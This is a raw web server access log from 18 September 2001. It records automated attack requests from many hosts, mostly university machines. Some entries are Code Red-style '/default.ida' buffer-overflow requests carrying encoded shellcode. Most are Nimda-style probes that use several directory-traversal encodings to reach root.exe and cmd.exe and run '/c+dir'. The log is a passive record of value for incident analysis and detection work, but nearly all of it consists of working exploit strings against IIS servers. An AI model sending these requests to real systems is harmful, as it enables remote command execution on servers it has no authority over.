/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 02:38:32: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 03:02:38: [217.58.72.211] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 03:05:20: pc130.ifca.com.my [] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 03:58:41: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 04:57:18: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 05:06:29: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 05:17:06: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 05:49:48: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 05:51:15: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 07:49:21: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 08:09:56: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:13:46: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:13:46: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:46: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:46: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:46: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:46: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:47: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:48: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:13:48: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:22:44: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:22:44: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:44: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:44: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:45: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:45: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:45: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:45: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:45: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:45: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:46: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:46: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:46: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:46: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:46: bbarber.tfs.ad.tamu.edu [128.194.164.131] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:22:47: [128.242.227.94] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:28:11: [128.242.227.94] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:28:29: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 09:28:29: [128.242.227.94] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:28:47: [128.242.227.94] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:29:06: kimon.njit.edu [128.235.192.51] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:31:08: kimon.njit.edu [128.235.192.51] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:31:12: kimon.njit.edu [128.235.192.51] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:12: kimon.njit.edu [128.235.192.51] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:24: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:37: nm-server.jrn.columbia.edu [128.59.96.53] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:38: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:38: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:38: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:38: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:38: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:38: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:39: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:39: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:31:39: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:32:05: nia3.fsw.utoronto.ca [128.100.173.83] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:32:05: nia3.fsw.utoronto.ca [128.100.173.83] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:05: nia3.fsw.utoronto.ca [128.100.173.83] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:05: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:05: nia3.fsw.utoronto.ca [128.100.173.83] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:05: nia3.fsw.utoronto.ca [128.100.173.83] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:06: nia3.fsw.utoronto.ca [128.100.173.83] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:06: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:06: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:06: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:06: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:06: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:07: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:07: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:07: nia3.fsw.utoronto.ca [128.100.173.83] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:07: kimon.njit.edu [128.235.192.51] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:09: kimon.njit.edu [128.235.192.51] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:13: kimon.njit.edu [128.235.192.51] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:13: kimon.njit.edu [128.235.192.51] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:14: kimon.njit.edu [128.235.192.51] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:17: kimon.njit.edu [128.235.192.51] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:32:17: [128.164.89.7] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:33:23: [128.164.89.7] "" 20010918 09:33:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:35:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:35:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:35:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:41:06: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:41:06: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:07: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:08: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:08: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:08: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:08: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:08: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:41:09: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:44:33: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:44:33: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:33: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:33: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:33: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:33: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:34: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:34: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:34: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:34: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:34: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:35: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:35: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:35: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:35: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:44:35: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:46:09: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:46:17: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:48:04: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:48:08: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:09: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:12: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:15: 